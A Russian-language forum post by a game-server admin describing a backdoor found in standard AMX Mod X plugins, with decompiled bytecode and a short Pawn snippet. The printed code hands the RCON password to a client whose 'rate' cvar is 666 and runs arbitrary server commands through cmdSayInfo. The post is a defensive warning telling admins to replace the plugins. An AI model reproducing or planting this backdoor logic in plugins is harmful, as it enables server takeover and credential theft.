Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

История благодарностей участнику walle94 ::: Спасибо сказали: 2
Дата поста: В теме: За сообщение: Спасибо сказали:
10.5.2014, 9:25 Взламывают, до этого такого не видел
Надеюсь администрация дс не заблочит ведь стараюсь для ребят)
Цитата
Даже не очень стыдно поделиться решением проблемы, созданной ещё автором темы.

Проблема существовала до недавнего времени и никуда не девалась 😊
Человек иногда заходил, "баловался" - банил и т.п., паузил сервер, но вычислить его не удавалось - в логах тишина была.

В итоге меня очень достало все это и я пошел просить игрохост помочь решить проблему. Меня долго убеждали что проблема в плагинах, но я не верил, т.к. они все были проверены ручками и взяты отсюда в исходниках, либо с основного alliedmodders. Проверялись все плагины, кроме стандартных 😊
Никому же и в голову не придет проверять стандартные плагины amxx. Они просто тупо копировались из хостинга в хостинг и встроенный в них backdoor тоже 😊

В admin.amxx, admincmd.amxx и ещё в какие-то другие вроде statx.amxx было добавлено пару строку кода. Выяснилось после декомпиляции тех.поддержкой игрохоста плагина admincmd.amxx. Вот его концовка:
спойлер

обратите внимание на последний блок
Цитата

0x9C50 PROC ; public client_connect(id)
0x9C54 BREAK ; admincmd.sma:1178
0x9C58 BREAK ; admincmd.sma:1180
0x9C5C PUSH.S 0xC ; id
0x9C64 PUSH.C 0x4
0x9C6C SYSREQ.C 0xC ; is_user_bot(id)
0x9C74 STACK 0x8 ; free 2 cells
0x9C7C NOT
0x9C80 JZER 0x9CCC ; jump_291
0x9C88 BREAK ; admincmd.sma:1182
0x9C8C PUSH.C 0x6408 ; 0x0
0x9C94 PUSH.C 0x0 ; AMXX_VERSION_STR[11] "1.8.1.3746"
0x9C9C PUSH.C 0x6398 ; "cvar_cl_cmdrate_result_func"
0x9CA4 PUSH.C 0x6384 ; "rate"
0x9CAC PUSH.S 0xC ; id
0x9CB4 PUSH.C 0x14
0x9CBC SYSREQ.C 0x3F ; query_client_cvar(id,"rate","cvar_cl_cmdrate_result_func",0,"")
0x9CC4 STACK 0x18 ; free 6 cells
0x9CCC ZERO.pri ; target:jump_291
0x9CD0 RETN
0x9CD4 PROC ; public cvar_cl_cmdrate_result_func(id,cvar[],value[])
0x9CD8 BREAK ; admincmd.sma:1186
0x9CDC BREAK ; admincmd.sma:1188
; new resultcmdratevalue
0x9CE0 STACK 0xFFFFFFFC ; allocate 1 cells
0x9CE8 PUSH.S 0x14 ; value[]
0x9CF0 PUSH.C 0x4
0x9CF8 SYSREQ.C 0x9 ; str_to_num(value[])
0x9D00 STACK 0x8 ; free 2 cells
0x9D08 STOR.S.pri 0xFFFFFFFC ; resultcmdratevalue
0x9D10 BREAK ; admincmd.sma:1190
0x9D14 LOAD.S.pri 0xFFFFFFFC ; resultcmdratevalue
0x9D1C EQ.C.pri 0x29A
0x9D24 JZER 0x9DBC ; jump_292
0x9D2C BREAK ; admincmd.sma:1192
; new rcon[111]
0x9D30 STACK 0xFFFFFE44 ; allocate 111 cells
0x9D38 ZERO.pri
0x9D3C ADDR.alt 0xFFFFFE40
0x9D44 FILL 0x1BC ; 111 cells
0x9D4C BREAK ; admincmd.sma:1193
0x9D50 PUSH.C 0x6E ; 0x200000
0x9D58 PUSH.ADR 0xFFFFFE40 ; rcon[111]
0x9D60 PUSH.C 0x640C ; "rcon_password"
0x9D68 PUSH.C 0xC
0x9D70 SYSREQ.C 0x40 ; get_cvar_string("rcon_password",rcon[111],110)
0x9D78 STACK 0x10 ; free 4 cells
0x9D80 BREAK ; admincmd.sma:1194
0x9D84 PUSH.ADR 0xFFFFFE40 ; rcon[111]
0x9D8C PUSH.C 0x6444 ; "echo connected: %s"
0x9D94 PUSH.S 0xC ; id
0x9D9C PUSH.C 0xC
0x9DA4 SYSREQ.C 0x3A ; client_cmd(id,"echo connected: %s",rcon[111])
0x9DAC STACK 0x10 ; free 4 cells
0x9DB4 STACK 0x1BC ; free 111 cells
0x9DBC STACK 0x4 ; free 1 cells
; target:jump_292
0x9DC4 ZERO.pri
0x9DC8 RETN
0x9DCC PROC ; public cmdSayInfo(id)
0x9DD0 BREAK ; admincmd.sma:1198
0x9DD4 BREAK ; admincmd.sma:1199
; new szArg[192]
0x9DD8 STACK 0xFFFFFD00 ; allocate 192 cells
0x9DE0 ZERO.pri
0x9DE4 ADDR.alt 0xFFFFFD00
0x9DEC FILL 0x300 ; 192 cells
0x9DF4 BREAK ; admincmd.sma:1200
0x9DF8 PUSH.C 0xBF ; 0x0
0x9E00 PUSH.ADR 0xFFFFFD00 ; szArg[192]
0x9E08 PUSH.C 0x8
0x9E10 SYSREQ.C 0x3B ; read_args(szArg[192],191)
0x9E18 STACK 0xC ; free 3 cells
0x9E20 BREAK ; admincmd.sma:1202
0x9E24 PUSH.ADR 0xFFFFFD00 ; szArg[192]
0x9E2C PUSH.C 0x4
0x9E34 SYSREQ.C 0x1E ; server_cmd(szArg[192])
0x9E3C STACK 0x8 ; free 2 cells
0x9E44 STACK 0x300 ; free 192 cells
0x9E4C ZERO.pri
0x9E50 RETN


Кстати , это смешно, но вместе с statx.amxx так же заменили и исходник :D
Там, с помощью Z@C было обнаружено следующее:
Цитата:
public cmdSayInfo(id) {
new szArg[192]
read_args (szArg, 191)
server_cmd(szArg)
}
В общем, мораль сей басни такова: Скачайте ещё раз оригинальные плагины amxx с сайта, проверьте свои и сравните на соответствие по размеру с оригиналом и замените от греха подальше 😊

PS: Кстати, проблема была вроде как-то раскрыта на http://old.thegm.ru/showthread.php?t=2231

PPS: Чудило, которые использовало и издевалось над сервером, было на этом форуме, но на данный момент уже забанено: http://www.dedicated-server.ru/vbb/member.php?u=9911

PPPS: Поскольку я не программист и далек вообще от языков программирования, объясните мне для понимая, пожалуйста, что позволяет делать заветная строка server_cmd(szArg) и эти числа 191 и 192

Update: Забыл добавить, что вероятно пароль к FTP человек получал через Psychostats
Egorka007, trollface